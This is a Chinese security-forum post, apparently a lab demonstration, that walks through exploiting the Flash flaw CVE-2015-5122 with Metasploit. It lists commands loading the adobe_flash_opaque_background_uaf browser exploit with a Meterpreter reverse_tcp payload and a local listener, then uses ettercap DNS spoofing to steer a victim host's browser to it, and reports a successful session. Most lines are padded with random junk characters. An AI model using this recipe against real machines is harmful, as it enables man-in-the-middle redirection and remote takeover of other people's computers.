找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1352|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

& y! M4 S2 F! w) x( G5 o$ A 二、cve2015-5122漏洞实例演示虚拟机 * {7 q: j% g) K

! V. \ i" t' {& J8 w

2 H9 l( S$ ~" d* Z% i2 q   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: 1 j, u4 [" ~7 s( ]: J& x( J, \

3 B5 M3 v/ s) b6 |, o# p

/ `, r$ Q* F- Z2 v- O search cve-2015-5122如图: ; H4 Y: K4 t. ^- v. K

4 O3 E% K6 U* t B# A1 R

" E2 l, F% k* s+ B* U4 N   5 F- ]( K1 w; s5 }& x; s$ P0 D/ z# P

. W4 N+ _8 b3 ~# V7 }/ E5 F M

. x* k& B& D0 m9 w% Q! \9 S0 e; ]8 m 下面我们敲如下命令: 7 ?$ S, m4 r0 C9 ?7 N6 h+ i" `

# W. M) t E7 r% S6 |, `' M( F

, M% [! Q, |$ O1 l0 F! H use exploit/multi/browser/adobe_flash_opaque_background_uaf % n7 j9 y$ _! H9 U, ]

& u" N, n4 V! K& a

" o) T' G P9 o6 b& Z set PAYLOAD windows/meterpreter/reverse_tcp ~- Y& b& g. X( J/ B; S

5 Q) m- e% h0 \

. A- G$ H' u1 i6 h5 \6 b3 E- \( a set LHOST 192.168.0.109 - F- r5 ~7 n0 \$ s" x) w

' \" T+ O9 b7 E3 u1 M% g

2 i( b1 M ^( M: [$ X set URIPATH /                        /*根目录*/ ' i* D# ?- G D2 y) |

( w' ~- Q! f2 L' ~8 ]1 E$ V

x @ r h; U: f5 X$ n) D set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 * D; C$ U; y+ c+ Y

9 r) N& n" R. g% I, }+ {4 j

9 p0 M7 m- Y& |2 ^ set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 . s- L& y3 ]( }: w5 f

1 [8 d" o! D2 k6 I: O

+ p4 J- N: I* E: D8 M/ Q 然后show options如图: - ?. ^$ z7 S* Q

! n% \) Y7 a4 p7 H; p% i( s

8 l$ t0 L$ b/ R3 Q4 ^1 J0 \, F   5 v% S; j; J X8 c" [

9 P* Z7 f5 _3 u4 k

3 T1 f- j* g. \9 R 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
~; e( {0 P" o( P1 M0 E, L" s
: w% H2 N o# Q) z

2 K2 p3 g! E8 }7 m

. j4 M0 j% k- X* }2 X3 k 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 7 s1 B, P& g- K3 k; q) L7 X- [8 C

: \4 W' K& J# f% u( s9 R. O0 c

0 E3 f* G- i0 t! o) a Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf ) k( y8 u- k1 C0 R

! {5 k$ o7 ]4 I' [8 h

/ j1 e, [- }8 E4 o- u6 R   9 l4 C3 B& J# {; P2 T8 R* C

; f/ f& I4 ?' F& A& {+ e1 U

, V6 n' X4 _* _9 c9 q0 u$ h+ i5 m 成功了,这时候我们断开ettercap,如图: 4 L, M! l2 }( Z9 A# @" M. m

1 h7 u; ^# x# |! C% F

3 \1 ]# L! Q( F$ N   Q6 [0 V$ i4 G( U0 d3 k: r

+ j" b3 l' j3 G5 R1 ?2 V

9 w6 y/ {6 \' c3 v Screenshot如图: & P5 X# N* Q3 W/ Y* ^

. k) k* P/ @! T3 ]1 S2 r

% e$ |$ _- \4 V" T& T. H   " \1 k; e( f6 h @3 F( V% g1 X

' X; ~! c$ v3 y j1 {: s# A

- F4 b k$ P6 X' g8 X4 M2 R 3 ~' e$ x2 Y3 g& w6 p

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表